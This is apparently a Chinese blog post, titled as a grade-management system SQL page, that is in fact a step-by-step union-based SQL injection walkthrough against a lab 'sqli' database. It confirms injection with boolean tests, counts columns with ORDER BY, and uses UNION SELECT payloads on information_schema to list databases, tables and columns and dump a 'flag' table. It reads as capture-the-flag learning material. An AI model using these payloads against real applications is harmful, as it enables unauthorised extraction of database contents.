0
点赞
收藏
分享

微信扫一扫

成绩管理系统sql+系统

大师的学徒 2023-08-22 阅读 60
sql数据库

常用函数:version()、database()、user()

判断存在 sqli 注入

1

1 and 1=1

 1 and 1=2

因为 1=1 为真,1=2 为假,且 1=1 与 1 显示的数据一样,那么就存在 sqli 注入

查询该数据表的字段数量

一、

2

3

 1,2成功带出数据,3没有数据,所以有两个字段

 二、

1 order by 2

1 order by 3

 1 order by 2 与 1 显示的一样,1 order by 3 没有数据,所以,字段数为 2

修改参数 ID 值

1 union select 1,2

由于 1 union select 1,2 只返回第一条结果,union select 的结果没有输出,所以需要修改参数 id

值,可以 -1 ,0 随便哪个都可以

 520 union select 1,2

 520 union select 1,version()

520 union select 1,database()  #查询当前数据库信息

查询所有的数据库库名(schemata 表 储存用户创建的 所有 数据库的库名schema_name 数据库库名

520 union select  1,group_concat(schema_name)

from information_schema.schemata

查询 sqli 数据库 下的  数据表(tables 表 储存用户创建的所有数据库的库名和表名,table_name数据库的表名

520 union select 1,group_concat(table_name)

from information_schema.tables

where table_schema='sqli'

查询sqli 数据库下,flag 表中的 字段名

columns 表 存储用户创建的所有数据库的库名table_schema、表名table_name、字段名column_name

0 union select 1,group_concat(column_name)

from information_schema.columns

where table_schema='sqli' and table_name='flag'

查询 sqli 数据库中.flag字段名下的 字段内容

520 union select 1,group_concat(flag)

from sqli.flag

举报

相关推荐

0 条评论